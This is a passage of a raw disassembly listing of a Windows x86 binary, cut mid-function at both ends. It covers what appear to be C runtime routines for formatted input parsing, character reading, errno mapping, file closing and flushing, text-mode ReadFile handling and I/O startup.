pop ecx pop ecx jmp short loc_42EDC5 ; --------------------------------------------------------------------------- loc_42EDBA: ; CODE XREF: sub_42E5F5+7B7j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 4 loc_42EDC5: ; CODE XREF: sub_42E5F5+7C3j test eax, eax jz short loc_42EE26 cmp esi, 6Fh jnz short loc_42EDE3 cmp ebx, 38h jge short loc_42EE26 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_433450 jmp short loc_42EDF2 ; --------------------------------------------------------------------------- loc_42EDE3: ; CODE XREF: sub_42E5F5+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_42C4F0 loc_42EDF2: ; CODE XREF: sub_42E5F5+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_42EDF8: ; CODE XREF: sub_42E5F5+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_42EE10 dec [ebp+var_C] jz short loc_42EE34 loc_42EE10: ; CODE XREF: sub_42E5F5+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42ED51 ; --------------------------------------------------------------------------- loc_42EE26: ; CODE XREF: sub_42E5F5+788j ; sub_42E5F5+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42F06B pop ecx pop ecx loc_42EE34: ; CODE XREF: sub_42E5F5+756j ; sub_42E5F5+819j cmp [ebp+var_17], 0 jz loc_42EF1A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_42EF1A ; --------------------------------------------------------------------------- loc_42EE56: ; CODE XREF: sub_42E5F5+74Cj cmp [ebp+var_F], 0 jnz loc_42EF12 loc_42EE60: ; CODE XREF: sub_42E5F5+90Aj cmp esi, 78h jz short loc_42EEA4 cmp esi, 70h jz short loc_42EEA4 cmp dword_4535C4, 1 jle short loc_42EE7F push 4 push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42EE8A ; --------------------------------------------------------------------------- loc_42EE7F: ; CODE XREF: sub_42E5F5+87Cj mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 4 loc_42EE8A: ; CODE XREF: sub_42E5F5+888j test eax, eax jz short loc_42EF04 cmp esi, 6Fh jnz short loc_42EE9D cmp ebx, 38h jge short loc_42EF04 shl edi, 3 jmp short loc_42EEDC ; --------------------------------------------------------------------------- loc_42EE9D: ; CODE XREF: sub_42E5F5+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_42EEDC ; --------------------------------------------------------------------------- loc_42EEA4: ; CODE XREF: sub_42E5F5+86Ej ; sub_42E5F5+873j cmp dword_4535C4, 1 jle short loc_42EEBC push 80h push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42EEC9 ; --------------------------------------------------------------------------- loc_42EEBC: ; CODE XREF: sub_42E5F5+8B6j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 80h loc_42EEC9: ; CODE XREF: sub_42E5F5+8C5j test eax, eax jz short loc_42EF04 push ebx shl edi, 4 call sub_42F01A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42EEDC: ; CODE XREF: sub_42E5F5+8A6j ; sub_42E5F5+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_42EEEE dec [ebp+var_C] jz short loc_42EF12 loc_42EEEE: ; CODE XREF: sub_42E5F5+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42EE60 ; --------------------------------------------------------------------------- loc_42EF04: ; CODE XREF: sub_42E5F5+897j ; sub_42E5F5+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42F06B pop ecx pop ecx loc_42EF12: ; CODE XREF: sub_42E5F5+865j ; sub_42E5F5+8F7j cmp [ebp+var_17], 0 jz short loc_42EF1A neg edi loc_42EF1A: ; CODE XREF: sub_42E5F5+843j ; sub_42E5F5+85Cj ... cmp esi, 46h jnz short loc_42EF23 and [ebp+var_1C], 0 loc_42EF23: ; CODE XREF: sub_42E5F5+928j cmp [ebp+var_1C], 0 jz loc_42EFFB cmp [ebp+var_E], 0 jnz short loc_42EF5C inc [ebp+var_34] loc_42EF36: ; CODE XREF: sub_42E5F5+23Bj cmp [ebp+var_30], 0 jz short loc_42EF4C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_42EF5C ; --------------------------------------------------------------------------- loc_42EF4C: ; CODE XREF: sub_42E5F5+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_42EF59 mov [eax], edi jmp short loc_42EF5C ; --------------------------------------------------------------------------- loc_42EF59: ; CODE XREF: sub_42E5F5+95Ej mov [eax], di loc_42EF5C: ; CODE XREF: sub_42E5F5+241j ; sub_42E5F5+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_42EFA9 ; --------------------------------------------------------------------------- loc_42EF67: ; CODE XREF: sub_42E5F5+93j inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_42EFD6 mov ecx, off_4533B8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42EFA9 inc [ebp+var_4] push edi call sub_42F051 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42EFE4 dec [ebp+var_4] loc_42EFA9: ; CODE XREF: sub_42E5F5+970j ; sub_42E5F5+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42EFBF cmp byte ptr [esi], 25h jnz short loc_42F001 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_42F001 mov esi, eax loc_42EFBF: ; CODE XREF: sub_42E5F5+9B8j mov al, [esi] test al, al jnz loc_42E61F jmp short loc_42EFFB ; --------------------------------------------------------------------------- loc_42EFCB: ; CODE XREF: sub_42E5F5+1F4j ; sub_42E5F5+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_42EFDB ; --------------------------------------------------------------------------- loc_42EFD6: ; CODE XREF: sub_42E5F5+98Aj dec [ebp+var_4] push edi push ebx loc_42EFDB: ; CODE XREF: sub_42E5F5+9DFj call sub_42F06B pop ecx pop ecx jmp short loc_42EFFB ; --------------------------------------------------------------------------- loc_42EFE4: ; CODE XREF: sub_42E5F5+9AFj dec [ebp+var_4] push edi push eax call sub_42F06B dec [ebp+var_4] push edi push ebx call sub_42F06B add esp, 10h loc_42EFFB: ; CODE XREF: sub_42E5F5+1Fj ; sub_42E5F5+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42F012 loc_42F001: ; CODE XREF: sub_42E5F5+9BDj ; sub_42E5F5+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_42F015 cmp [ebp+var_15], al jnz short loc_42F015 or eax, 0FFFFFFFFh jmp short loc_42F015 ; --------------------------------------------------------------------------- loc_42F012: ; CODE XREF: sub_42E5F5+A0Aj mov eax, [ebp+var_34] loc_42F015: ; CODE XREF: sub_42E5F5+A11j ; sub_42E5F5+A16j ... pop edi pop esi pop ebx leave retn sub_42E5F5 endp ; =============== S U B R O U T I N E ======================================= sub_42F01A proc near ; CODE XREF: sub_42E5F5+7A3p ; sub_42E5F5+8DCp arg_0 = dword ptr 4 cmp dword_4535C4, 1 push esi jle short loc_42F034 mov esi, [esp+4+arg_0] push 4 push esi call sub_42F12B pop ecx pop ecx jmp short loc_42F043 ; --------------------------------------------------------------------------- loc_42F034: ; CODE XREF: sub_42F01A+8j mov esi, [esp+4+arg_0] mov eax, off_4533B8 mov al, [eax+esi*2] and eax, 4 loc_42F043: ; CODE XREF: sub_42F01A+18j test eax, eax jnz short loc_42F04D and esi, 0FFFFFFDFh sub esi, 7 loc_42F04D: ; CODE XREF: sub_42F01A+2Bj mov eax, esi pop esi retn sub_42F01A endp ; =============== S U B R O U T I N E ======================================= sub_42F051 proc near ; CODE XREF: sub_42E5F5+1E1p ; sub_42E5F5+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42F063 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42F063: ; CODE XREF: sub_42F051+7j push edx call sub_42F3E2 pop ecx retn sub_42F051 endp ; =============== S U B R O U T I N E ======================================= sub_42F06B proc near ; CODE XREF: sub_42E5F5+6Bp ; sub_42E5F5+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42F081 push [esp+arg_4] push [esp+4+arg_0] call sub_43346F pop ecx pop ecx locret_42F081: ; CODE XREF: sub_42F06B+5j retn sub_42F06B endp ; =============== S U B R O U T I N E ======================================= sub_42F082 proc near ; CODE XREF: sub_42E5F5+63p ; sub_42E5F5+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_42F088: ; CODE XREF: sub_42F082+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42F051 mov edi, eax push edi call sub_42C54C pop ecx test eax, eax pop ecx jnz short loc_42F088 mov eax, edi pop edi pop esi retn sub_42F082 endp ; =============== S U B R O U T I N E ======================================= sub_42F0A6 proc near ; CODE XREF: sub_42A6C0+16p ; sub_42AB81+67p ... arg_0 = dword ptr 4 push esi call sub_42F122 mov ecx, [esp+4+arg_0] xor esi, esi mov [eax], ecx mov eax, offset dword_453250 loc_42F0B9: ; CODE XREF: sub_42F0A6+20j cmp ecx, [eax] jz short loc_42F0DF add eax, 8 inc esi cmp eax, offset off_4533B8 jl short loc_42F0B9 cmp ecx, 13h jb short loc_42F0EF cmp ecx, 24h ja short loc_42F0EF call sub_42F119 mov dword ptr [eax], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_42F0DF: ; CODE XREF: sub_42F0A6+15j call sub_42F119 mov ecx, dword_453254[esi*8] pop esi mov [eax], ecx retn ; --------------------------------------------------------------------------- loc_42F0EF: ; CODE XREF: sub_42F0A6+25j ; sub_42F0A6+2Aj cmp ecx, 0BCh jb short loc_42F10C cmp ecx, 0CAh ja short loc_42F10C call sub_42F119 mov dword ptr [eax], 8 pop esi retn ; --------------------------------------------------------------------------- loc_42F10C: ; CODE XREF: sub_42F0A6+4Fj ; sub_42F0A6+57j call sub_42F119 mov dword ptr [eax], 16h pop esi retn sub_42F0A6 endp ; =============== S U B R O U T I N E ======================================= sub_42F119 proc near ; CODE XREF: sub_429E59:loc_42A00Bp ; sub_42A2C1+83p ... call sub_42E4EE add eax, 8 retn sub_42F119 endp ; =============== S U B R O U T I N E ======================================= sub_42F122 proc near ; CODE XREF: sub_42A6C0+36p ; sub_42F0A6+1p ... call sub_42E4EE add eax, 0Ch retn sub_42F122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F12B proc near ; CODE XREF: sub_429E59+27p ; sub_429E59+E4p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_42F149 mov ecx, off_4533B8 movzx eax, word ptr [ecx+eax*2] jmp short loc_42F19B ; --------------------------------------------------------------------------- loc_42F149: ; CODE XREF: sub_42F12B+10j mov ecx, eax push esi mov esi, off_4533B8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_42F16E and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_42F177 ; --------------------------------------------------------------------------- loc_42F16E: ; CODE XREF: sub_42F12B+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_42F177: ; CODE XREF: sub_42F12B+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4334DD add esp, 1Ch test eax, eax jnz short loc_42F197 leave retn ; --------------------------------------------------------------------------- loc_42F197: ; CODE XREF: sub_42F12B+68j movzx eax, word ptr [ebp+arg_0+2] loc_42F19B: ; CODE XREF: sub_42F12B+1Cj and eax, [ebp+arg_4] leave retn sub_42F12B endp ; =============== S U B R O U T I N E ======================================= sub_42F1A0 proc near ; CODE XREF: sub_418A3A+88p ; sub_418AD3+216p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_676FE0 jnb short loc_42F1E5 mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_42F1E5 push edi push esi call sub_43241B push esi call sub_42F1FD push esi mov edi, eax call sub_43247A add esp, 0Ch mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F1E5: ; CODE XREF: sub_42F1A0+Bj ; sub_42F1A0+26j call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_42F1A0 endp ; =============== S U B R O U T I N E ======================================= sub_42F1FD proc near ; CODE XREF: sub_42F1A0+30p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_4323D9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_42F24B cmp esi, 1 jz short loc_42F219 cmp esi, 2 jnz short loc_42F22F loc_42F219: ; CODE XREF: sub_42F1FD+15j push 2 call sub_4323D9 push 1 mov edi, eax call sub_4323D9 pop ecx cmp eax, edi pop ecx jz short loc_42F24B loc_42F22F: ; CODE XREF: sub_42F1FD+1Aj push esi call sub_4323D9 pop ecx push eax call dword_437044 ; CloseHandle test eax, eax jnz short loc_42F24B call dword_437170 ; RtlGetLastWin32Error mov edi, eax jmp short loc_42F24D ; --------------------------------------------------------------------------- loc_42F24B: ; CODE XREF: sub_42F1FD+10j ; sub_42F1FD+30j ... xor edi, edi loc_42F24D: ; CODE XREF: sub_42F1FD+4Cj push esi call sub_43235A mov eax, esi and esi, 1Fh sar eax, 5 pop ecx mov eax, dword_676EE0[eax*4] lea ecx, [esi+esi*8] and byte ptr [eax+ecx*4+4], 0 test edi, edi jz short loc_42F27B push edi call sub_42F0A6 pop ecx or eax, 0FFFFFFFFh jmp short loc_42F27D ; --------------------------------------------------------------------------- loc_42F27B: ; CODE XREF: sub_42F1FD+70j xor eax, eax loc_42F27D: ; CODE XREF: sub_42F1FD+7Cj pop edi pop esi retn sub_42F1FD endp ; =============== S U B R O U T I N E ======================================= sub_42F280 proc near ; CODE XREF: sub_42A13C+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_42F2A9 test al, 8 jz short loc_42F2A9 push dword ptr [esi+8] call sub_4298F2 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_42F2A9: ; CODE XREF: sub_42F280+Aj ; sub_42F280+Ej pop esi retn sub_42F280 endp ; =============== S U B R O U T I N E ======================================= sub_42F2AB proc near ; CODE XREF: sub_42F33E+4Cp ; sub_42F33E+67p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_42F2D9 test eax, eax pop ecx jz short loc_42F2C0 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42F2C0: ; CODE XREF: sub_42F2AB+Ej test byte ptr [esi+0Dh], 40h jz short loc_42F2D5 push dword ptr [esi+10h] call sub_433626 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_42F2D5: ; CODE XREF: sub_42F2AB+19j xor eax, eax pop esi retn sub_42F2AB endp ; =============== S U B R O U T I N E ======================================= sub_42F2D9 proc near ; CODE XREF: sub_42A13C+10p ; sub_42A44E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_42F326 test ax, 108h jz short loc_42F326 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_42F326 push edi push eax push dword ptr [esi+10h] call sub_43249C add esp, 0Ch cmp eax, edi jnz short loc_42F31F mov eax, [esi+0Ch] test al, 80h jz short loc_42F326 and al, 0FDh mov [esi+0Ch], eax jmp short loc_42F326 ; --------------------------------------------------------------------------- loc_42F31F: ; CODE XREF: sub_42F2D9+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_42F326: ; CODE XREF: sub_42F2D9+14j ; sub_42F2D9+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_42F2D9 endp ; =============== S U B R O U T I N E ======================================= sub_42F335 proc near ; CODE XREF: sub_42C1C0p push 1 call sub_42F33E pop ecx retn sub_42F335 endp ; =============== S U B R O U T I N E ======================================= sub_42F33E proc near ; CODE XREF: sub_42F335+2p arg_0 = dword ptr 4 push ebx push esi push edi push 2 xor ebx, ebx xor edi, edi call sub_42DAEF xor esi, esi pop ecx cmp dword_678020, esi jle short loc_42F3CB loc_42F357: ; CODE XREF: sub_42F33E+8Bj mov eax, dword_67700C mov eax, [eax+esi*4] test eax, eax jz short loc_42F3C2 test byte ptr [eax+0Ch], 83h jz short loc_42F3C2 push eax push esi call sub_42C203 mov eax, dword_67700C pop ecx pop ecx mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_42F3B2 cmp [esp+0Ch+arg_0], 1 jnz short loc_42F398 push eax call sub_42F2AB cmp eax, 0FFFFFFFFh pop ecx jz short loc_42F3B2 inc ebx jmp short loc_42F3B2 ; --------------------------------------------------------------------------- loc_42F398: ; CODE XREF: sub_42F33E+49j cmp [esp+0Ch+arg_0], 0 jnz short loc_42F3B2 test cl, 2 jz short loc_42F3B2 push eax call sub_42F2AB cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42F3B2 or edi, eax loc_42F3B2: ; CODE XREF: sub_42F33E+42j ; sub_42F33E+55j ... mov eax, dword_67700C push dword ptr [eax+esi*4] push esi call sub_42C255 pop ecx pop ecx loc_42F3C2: ; CODE XREF: sub_42F33E+23j ; sub_42F33E+29j inc esi cmp esi, dword_678020 jl short loc_42F357 loc_42F3CB: ; CODE XREF: sub_42F33E+17j push 2 call sub_42DB50 cmp [esp+10h+arg_0], 1 pop ecx mov eax, ebx jz short loc_42F3DE mov eax, edi loc_42F3DE: ; CODE XREF: sub_42F33E+9Cj pop edi pop esi pop ebx retn sub_42F33E endp ; =============== S U B R O U T I N E ======================================= sub_42F3E2 proc near ; CODE XREF: sub_42A1B7+A9p ; sub_42B087+34p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_42F4B9 test al, 40h jnz loc_42F4B9 test al, 2 jz short loc_42F408 or al, 20h mov [esi+0Ch], eax jmp loc_42F4B9 ; --------------------------------------------------------------------------- loc_42F408: ; CODE XREF: sub_42F3E2+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_42F41C push esi call sub_4331F3 pop ecx jmp short loc_42F421 ; --------------------------------------------------------------------------- loc_42F41C: ; CODE XREF: sub_42F3E2+2Fj mov eax, [esi+8] mov [esi], eax loc_42F421: ; CODE XREF: sub_42F3E2+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_42F4BE add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_42F4A8 cmp eax, 0FFFFFFFFh jz short loc_42F4A8 mov edx, [esi+0Ch] test dl, 82h jnz short loc_42F47D mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_42F466 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_676EE0[edi*4] lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_42F46B ; --------------------------------------------------------------------------- loc_42F466: ; CODE XREF: sub_42F3E2+6Bj mov edi, offset dword_4535D0 loc_42F46B: ; CODE XREF: sub_42F3E2+82j mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_42F47D or dh, 20h mov [esi+0Ch], edx loc_42F47D: ; CODE XREF: sub_42F3E2+62j ; sub_42F3E2+93j cmp dword ptr [esi+18h], 200h jnz short loc_42F49A mov ecx, [esi+0Ch] test cl, 8 jz short loc_42F49A test ch, 4 jnz short loc_42F49A mov dword ptr [esi+18h], 1000h loc_42F49A: ; CODE XREF: sub_42F3E2+A2j ; sub_42F3E2+AAj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_42F4A8: ; CODE XREF: sub_42F3E2+55j ; sub_42F3E2+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_42F4B9: ; CODE XREF: sub_42F3E2+Aj ; sub_42F3E2+12j ... or eax, 0FFFFFFFFh pop esi retn sub_42F3E2 endp ; =============== S U B R O U T I N E ======================================= sub_42F4BE proc near ; CODE XREF: sub_41EC9D+ECp ; sub_42A1B7+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_676FE0 jnb short loc_42F50B mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_42F50B push edi push esi call sub_43241B push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_42F523 push esi mov edi, eax call sub_43247A add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F50B: ; CODE XREF: sub_42F4BE+Bj ; sub_42F4BE+26j call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_42F4BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F523 proc near ; CODE XREF: sub_42F4BE+38p ; sub_4336B9+274p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_42F6F5 mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] mov eax, dword_676EE0[ecx*4] lea edi, ds:676EE0h[ecx*4] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_42F6F5 test cl, 48h jz short loc_42F58E mov al, [eax+5] cmp al, 0Ah jz short loc_42F58E dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_42F58E: ; CODE XREF: sub_42F523+4Cj ; sub_42F523+53j lea eax, [ebp+var_C] push 0 push eax mov eax, [edi] push [ebp+arg_8] push edx push dword ptr [eax+esi] call dword_437084 ; ReadFile test eax, eax jnz short loc_42F5E0 call dword_437170 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_42F5C8 call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 mov [eax], esi jmp short loc_42F5D8 ; --------------------------------------------------------------------------- loc_42F5C8: ; CODE XREF: sub_42F523+8Fj cmp eax, 6Dh jz loc_42F6F5 push eax call sub_42F0A6 pop ecx loc_42F5D8: ; CODE XREF: sub_42F523+A3j or eax, 0FFFFFFFFh jmp loc_42F6F7 ; --------------------------------------------------------------------------- loc_42F5E0: ; CODE XREF: sub_42F523+82j mov eax, [edi] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_42F6F0 test edx, edx jz short loc_42F605 cmp byte ptr [ebx], 0Ah jnz short loc_42F605 or al, 4 jmp short loc_42F607 ; --------------------------------------------------------------------------- loc_42F605: ; CODE XREF: sub_42F523+D7j ; sub_42F523+DCj and al, 0FBh loc_42F607: ; CODE XREF: sub_42F523+E0j mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_42F6EA loc_42F61F: ; CODE XREF: sub_42F523+1AFj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_42F6DA cmp al, 0Dh jz short loc_42F63B mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_42F6CC ; --------------------------------------------------------------------------- loc_42F63B: ; CODE XREF: sub_42F523+10Bj dec ecx cmp [ebp+arg_8], ecx jnb short loc_42F659 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_42F650 add [ebp+arg_8], 2 jmp short loc_42F6AE ; --------------------------------------------------------------------------- loc_42F650: ; CODE XREF: sub_42F523+125j mov byte ptr [ebx], 0Dh inc ebx mov [ebp+arg_8], eax jmp short loc_42F6CC ; --------------------------------------------------------------------------- loc_42F659: ; CODE XREF: sub_42F523+11Cj lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [edi] push dword ptr [eax+esi] call dword_437084 ; ReadFile test eax, eax jnz short loc_42F681 call dword_437170 ; RtlGetLastWin32Error test eax, eax jnz short loc_42F6C8 loc_42F681: ; CODE XREF: sub_42F523+152j cmp [ebp+var_C], 0 jz short loc_42F6C8 mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_42F6A3 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_42F6AE mov byte ptr [ebx], 0Dh mov ecx, [edi] inc ebx mov [ecx+esi+5], al jmp short loc_42F6CC ; --------------------------------------------------------------------------- loc_42F6A3: ; CODE XREF: sub_42F523+16Bj cmp ebx, [ebp+arg_4] jnz short loc_42F6B3 cmp [ebp+var_1], 0Ah jnz short loc_42F6B3 loc_42F6AE: ; CODE XREF: sub_42F523+12Bj ; sub_42F523+172j mov byte ptr [ebx], 0Ah jmp short loc_42F6CB ; --------------------------------------------------------------------------- loc_42F6B3: ; CODE XREF: sub_42F523+183j ; sub_42F523+189j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42F91D add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_42F6CC loc_42F6C8: ; CODE XREF: sub_42F523+15Cj ; sub_42F523+162j mov byte ptr [ebx], 0Dh loc_42F6CB: ; CODE XREF: sub_42F523+18Ej inc ebx loc_42F6CC: ; CODE XREF: sub_42F523+113j ; sub_42F523+134j ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_42F61F jmp short loc_42F6EA ; --------------------------------------------------------------------------- loc_42F6DA: ; CODE XREF: sub_42F523+103j mov eax, [edi] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_42F6EA or al, 2 mov [esi], al loc_42F6EA: ; CODE XREF: sub_42F523+F6j ; sub_42F523+1B5j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_42F6F0: ; CODE XREF: sub_42F523+CFj mov eax, [ebp+var_8] jmp short loc_42F6F7 ; --------------------------------------------------------------------------- loc_42F6F5: ; CODE XREF: sub_42F523+16j ; sub_42F523+43j ... xor eax, eax loc_42F6F7: ; CODE XREF: sub_42F523+B8j ; sub_42F523+1D0j pop edi pop esi pop ebx leave retn sub_42F523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F6FC proc near ; CODE XREF: .text:0042C5F5p var_48 = byte ptr -48h var_16 = word ptr -16h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 480h call sub_4297B8 mov esi, eax pop ecx test esi, esi jnz short loc_42F71E push 1Bh call sub_42C67C pop ecx loc_42F71E: ; CODE XREF: sub_42F6FC+18j mov dword_676EE0, esi mov dword_676FE0, 20h lea eax, [esi+480h] loc_42F734: ; CODE XREF: sub_42F6FC+58j cmp esi, eax jnb short loc_42F756 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh and dword ptr [esi+8], 0 mov byte ptr [esi+5], 0Ah mov eax, dword_676EE0 add esi, 24h add eax, 480h jmp short loc_42F734 ; --------------------------------------------------------------------------- loc_42F756: ; CODE XREF: sub_42F6FC+3Aj lea eax, [ebp+var_48] push eax call dword_437238 ; GetStartupInfoA cmp [ebp+var_16], 0 jz loc_42F83C mov eax, [ebp+var_14] test eax, eax jz loc_42F83C mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_4], eax mov eax, 800h cmp edi, eax jl short loc_42F78C mov edi, eax loc_42F78C: ; CODE XREF: sub_42F6FC+8Cj cmp dword_676FE0, edi jge short loc_42F7EA mov esi, offset dword_676EE4 loc_42F799: ; CODE XREF: sub_42F6FC+E4j push 480h call sub_4297B8 test eax, eax pop ecx jz short loc_42F7E4 add dword_676FE0, 20h mov [esi], eax lea ecx, 